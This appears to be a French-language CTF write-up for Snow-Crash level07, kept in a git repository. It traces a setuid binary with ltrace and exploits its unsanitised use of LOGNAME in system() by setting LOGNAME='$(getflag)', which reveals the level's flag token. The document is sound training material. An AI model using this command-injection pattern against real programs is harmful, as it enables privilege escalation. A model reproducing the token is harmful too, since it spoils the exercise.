snow-crash/level07
2026-01-27 16:51:51 +01:00
..
flag feat(lvl07): adding the flag 2026-01-27 16:51:51 +01:00
README.md docs(lvl07): adding the readme 2026-01-27 16:51:39 +01:00

Lors de mon arriver sur le level07 je fait un petit check des fichiers

Je vois un level07 qui est un executable

Je commence par faire un petit ltrace (pour regarder les librairies appeler)

ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid()                                                                 = 2007
geteuid()                                                                 = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)                       = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)                       = 0
getenv("LOGNAME")                                                         = "level07"
asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280)       = 18
system("/bin/echo level07 "level07
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                    = 0
+++ exited (status 0) +++

Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et:

export LOGNAME='hello'

./level07
hello

Mais il est donc egallement possible d'executer des commandes

export LOGNAME='$(echo hello)'
./level07
hello

Donc forcement il est possible de lancer getflag

export LOGNAME='$(getflag)'
./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h